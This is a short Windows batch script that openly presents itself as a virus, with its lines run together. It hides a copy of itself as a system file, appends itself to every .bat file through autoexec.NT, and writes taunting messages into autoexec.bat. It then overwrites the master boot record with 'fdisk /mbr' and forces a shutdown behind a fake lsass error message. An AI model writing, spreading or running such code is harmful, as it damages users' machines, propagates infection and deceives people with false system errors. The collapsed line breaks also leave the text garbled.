@echo offtitle %0rem conditional check.echo welcome to this wonderful program! please wait while I delete all your files!rem infection of the usercopy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NTecho echo virus detected! >>c:\windows\system32\autoexec.NTecho pause >>c:\windows\system32\autoexec.NTecho NT core:infected!echo echo shame on you! >>c:\autoexec.batecho echo system hault-virus identified! >>c:\autoexec.batecho chkdsk >>c:\autoexec.batecho i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u lfdisk /mbrshutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″